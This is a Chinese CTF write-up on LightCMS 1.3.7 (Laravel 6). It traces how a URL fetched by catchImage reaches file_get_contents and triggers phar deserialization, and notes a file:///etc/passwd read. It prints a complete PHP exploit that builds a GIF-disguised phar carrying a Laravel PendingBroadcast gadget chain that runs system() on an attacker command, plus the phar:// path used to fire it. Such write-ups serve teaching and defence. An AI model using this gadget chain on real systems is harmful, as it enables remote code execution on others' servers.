在这次红帽中有一道这样的题,审的时候看到有文件上传,但是存在白名单限制,laravel6是有反序列化漏洞的,想到要用文件上传打phar的,但是没有找到可以触发phar的利用点,可惜了。
phpstorm +php7.3+xdebug+lightcms 1.3.7
按照官网的教程来安装就好了。
拿到源码,看一圈,基本都是一些数据库的操作,而且还没有可以控制的参数。
有一个文件上传的地方。
其中的 uploadImage
方法可以上传图片
看一下 isValidImage
方法
在 /config/light.php
里找配置
不难发现允许上传的文件类型还是比较苛刻的。
上传的图片地址如上。
同样有 uploadVedio
和 uploadFile
方法,操作相差不大。
这个控制器下面还有一个 catchImage
的方法
这个方法在 1.3.5之前的版本是存在漏洞的,
https://tyskill.github.io/Articles/CVE-2021-27112/
可以参照这篇文章看一看。
作者修复的地方就是添加了 fetchImageFile
方法。
跟进看一下
先检查是否是合法的url,
如果curl 出错,会返回false,(windows 因为 没有 file:///etc/passwd
,所以返回了fasle)也就是直接return掉了,当然我们是希望不被return的,修改一下值好了。
isWebp
是一个自定义函数
检查图片是否是 webP
格式不是就进入else
分支,执行Image::make($data)
方法
不断步进,先不要步过,一步一步看,小心遗漏重要的点。直到这里
我们刚刚修改的 data
值为true
,是为了防止刚刚被return
掉。但其实如果我们 去 curl
一个正常的网页, $data
是有数据的,会在这里的case
分支进行处理,注意这里,有个 isUrl
方法,判断我们的curl
后的数据是否是个url
?是否可以phar
呢?
phar
协议可以通过检测
再看initFromUrl
方法。
这里用 file_get_contents
处理我们的curl
后的data
,可以触发phar
协议。
exp如下
<?php namespace Illuminate\Broadcasting { use Illuminate\Events\Dispatcher; class PendingBroadcast { protected $events; protected $event; public function __construct($cmd) { $this->events = new Dispatcher($cmd); $this->event=$cmd; } } } namespace Illuminate\Events { class Dispatcher { protected $listeners; public function __construct($event){ $this->listeners=[$event=>['system']]; } } } namespace{ $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]); echo base64_encode(serialize($o)); $phar -> setMetadata($o); $phar -> addFromString('test.txt','test'); $phar -> stopBuffering(); }
将文件后缀改成 .gif
ok,现在在vps 上写入
phar://./upload/image/202105/IWacvAi8HW9bb6PMdmyURxQSy12tVgp2sevOUXV5.gif
打
这个漏洞的利用点着实够刁钻的,一个url后再加一个url。Y1ng师傅牛逼。最后真的希望各位ctf选手洁身自好,py可真没意思,尊重出题人,尊重比赛,尊重那些有梦想的师傅。